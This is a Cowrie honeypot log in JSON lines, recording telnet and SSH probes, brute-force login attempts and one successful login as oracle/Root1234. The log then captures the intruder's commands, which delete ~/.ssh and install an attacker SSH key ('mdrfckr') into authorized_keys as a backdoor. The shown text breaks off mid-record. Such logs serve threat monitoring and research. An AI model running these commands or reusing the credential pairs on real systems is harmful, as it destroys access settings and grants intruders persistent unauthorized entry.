{"eventid":"cowrie.session.closed","duration":38.371089458465576,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:49.003127Z","src_ip":"134.209.8.29","session":"a946db6845bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42977738380432,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:50.797906Z","src_ip":"62.210.97.77","session":"6af66ca89e87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"316026402f58","protocol":"telnet","message":"New connection: 62.210.97.77:55888 (10.17.0.5:23) [session: 316026402f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:50.990416Z"}
{"eventid":"cowrie.session.closed","duration":34.43178176879883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:51.010592Z","src_ip":"62.210.97.77","session":"aebcd023ab01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.35095810890198,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:53.747260Z","src_ip":"62.210.97.77","session":"2de1b32a8c60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55902,"dst_ip":"10.17.0.5","dst_port":23,"session":"0327bbb55e57","protocol":"telnet","message":"New connection: 62.210.97.77:55902 (10.17.0.5:23) [session: 0327bbb55e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:53.754956Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55916,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf388d2fc5f5","protocol":"telnet","message":"New connection: 62.210.97.77:55916 (10.17.0.5:23) [session: bf388d2fc5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:53.888667Z"}
{"eventid":"cowrie.session.closed","duration":50.49220275878906,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:54.864829Z","src_ip":"165.232.131.181","session":"cf757d8352c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31515598297119,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:55.682371Z","src_ip":"62.210.97.77","session":"0d7aee83f131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a53ab955c3","protocol":"telnet","message":"New connection: 65.60.27.33:49888 (10.17.0.5:23) [session: d8a53ab955c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:56.117758Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50316,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a26a88d6d38","protocol":"telnet","message":"New connection: 38.54.119.93:50316 (10.17.0.5:23) [session: 2a26a88d6d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:58.931181Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59066,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6bc293984d","protocol":"telnet","message":"New connection: 62.210.97.77:59066 (10.17.0.5:23) [session: db6bc293984d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:36:59.959979Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0426bbee9030","protocol":"telnet","message":"New connection: 62.210.97.77:59078 (10.17.0.5:23) [session: 0426bbee9030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:00.210910Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59080,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8df7354c064","protocol":"telnet","message":"New connection: 62.210.97.77:59080 (10.17.0.5:23) [session: d8df7354c064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:01.101989Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42354,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac782642ca19","protocol":"telnet","message":"New connection: 134.209.8.29:42354 (159.203.135.109:23) [session: ac782642ca19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:02.262184Z"}
{"eventid":"cowrie.session.closed","duration":42.30111527442932,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:02.846363Z","src_ip":"65.60.27.33","session":"e41a45fc9577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"30984de75eba","protocol":"telnet","message":"New connection: 134.209.8.29:42362 (159.203.135.109:23) [session: 30984de75eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:02.931417Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59092,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba0e9083d42","protocol":"telnet","message":"New connection: 62.210.97.77:59092 (10.17.0.5:23) [session: cba0e9083d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:03.235263Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59108,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a2532530b0","protocol":"telnet","message":"New connection: 62.210.97.77:59108 (10.17.0.5:23) [session: 04a2532530b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:04.742927Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59112,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e216239b3e1","protocol":"telnet","message":"New connection: 62.210.97.77:59112 (10.17.0.5:23) [session: 3e216239b3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:05.707901Z"}
{"eventid":"cowrie.session.closed","duration":49.62334060668945,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:05.776032Z","src_ip":"165.232.131.181","session":"455c4df8775f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33528,"dst_ip":"10.17.0.5","dst_port":23,"session":"f303ea5818c6","protocol":"telnet","message":"New connection: 65.60.27.33:33528 (10.17.0.5:23) [session: f303ea5818c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:05.785246Z"}
{"eventid":"cowrie.session.closed","duration":33.905556201934814,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:05.832630Z","src_ip":"62.210.97.77","session":"77f9263924b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49910378456116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:07.770415Z","src_ip":"62.210.97.77","session":"7d32aa9647c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":50252,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e910b795a48","protocol":"ssh","message":"New connection: 45.78.198.206:50252 (10.17.0.5:22) [session: 5e910b795a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:09.625031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:09.628771Z","src_ip":"45.78.198.206","session":"5e910b795a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:09.860076Z","src_ip":"45.78.198.206","session":"5e910b795a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e912a0e4dec","protocol":"telnet","message":"New connection: 134.209.8.29:42386 (159.203.135.109:23) [session: 9e912a0e4dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:09.918992Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42376,"dst_ip":"159.203.135.109","dst_port":23,"session":"7777043f058f","protocol":"telnet","message":"New connection: 134.209.8.29:42376 (159.203.135.109:23) [session: 7777043f058f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:09.925756Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60546,"dst_ip":"10.17.0.5","dst_port":23,"session":"7024b45517f8","protocol":"telnet","message":"New connection: 62.210.97.77:60546 (10.17.0.5:23) [session: 7024b45517f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:10.905729Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39934,"dst_ip":"10.17.0.5","dst_port":23,"session":"155fbe599a57","protocol":"telnet","message":"New connection: 65.60.27.33:39934 (10.17.0.5:23) [session: 155fbe599a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:11.716351Z"}
{"eventid":"cowrie.session.closed","duration":37.970725774765015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:12.271574Z","src_ip":"165.232.131.181","session":"3e95b58b82d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.775402784347534,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:13.041894Z","src_ip":"62.210.97.77","session":"92ccf5194ffd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mailuser","password":"mailuser","message":"login attempt [mailuser/mailuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:15.801980Z","src_ip":"45.78.198.206","session":"5e910b795a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60560,"dst_ip":"10.17.0.5","dst_port":23,"session":"5008c815aba2","protocol":"telnet","message":"New connection: 62.210.97.77:60560 (10.17.0.5:23) [session: 5008c815aba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:16.133848Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60574,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb65069c2498","protocol":"telnet","message":"New connection: 62.210.97.77:60574 (10.17.0.5:23) [session: eb65069c2498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:16.149271Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60584,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d6096eb918","protocol":"telnet","message":"New connection: 62.210.97.77:60584 (10.17.0.5:23) [session: 35d6096eb918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:16.472043Z"}
{"eventid":"cowrie.session.closed","duration":34.33609318733215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:16.777289Z","src_ip":"62.210.97.77","session":"1895e2b9950f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.88430452346802,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:16.901682Z","src_ip":"38.54.119.93","session":"bc0f1411556a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:17.037169Z","src_ip":"45.78.198.206","session":"5e910b795a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38626,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eb87b48cba3","protocol":"telnet","message":"New connection: 165.232.131.181:38626 (10.17.0.5:23) [session: 2eb87b48cba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:17.204118Z"}
{"eventid":"cowrie.session.closed","duration":40.65709733963013,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:17.970404Z","src_ip":"165.232.131.181","session":"5e2d75fa84eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.69324326515198,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:17.999117Z","src_ip":"165.232.131.181","session":"00866e347ba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.95101737976074,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.004773Z","src_ip":"62.210.97.77","session":"d4f3e045c82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58335518836975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.042552Z","src_ip":"62.210.97.77","session":"3392e4009613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":54908,"dst_ip":"10.17.0.5","dst_port":22,"session":"118b5f85607b","protocol":"ssh","message":"New connection: 156.232.13.218:54908 (10.17.0.5:22) [session: 118b5f85607b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.111029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.115914Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.188691Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.18237829208374,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.421025Z","src_ip":"62.210.97.77","session":"3520caf33a10","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Root1234","message":"login attempt [oracle/Root1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.509801Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.703308Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.706130Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.709365Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.785194Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.19364953041077,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.848721Z","src_ip":"62.210.97.77","session":"9b0a45d4fe8b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.973411Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:18.976964Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.057455Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.061259Z","src_ip":"156.232.13.218","session":"118b5f85607b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":55360,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb9e6cbb5799","protocol":"ssh","message":"New connection: 156.232.13.218:55360 (10.17.0.5:22) [session: bb9e6cbb5799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.127160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:37:19.130714Z","src_ip":"156.232.13.218","session":"bb9e6cbb5799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.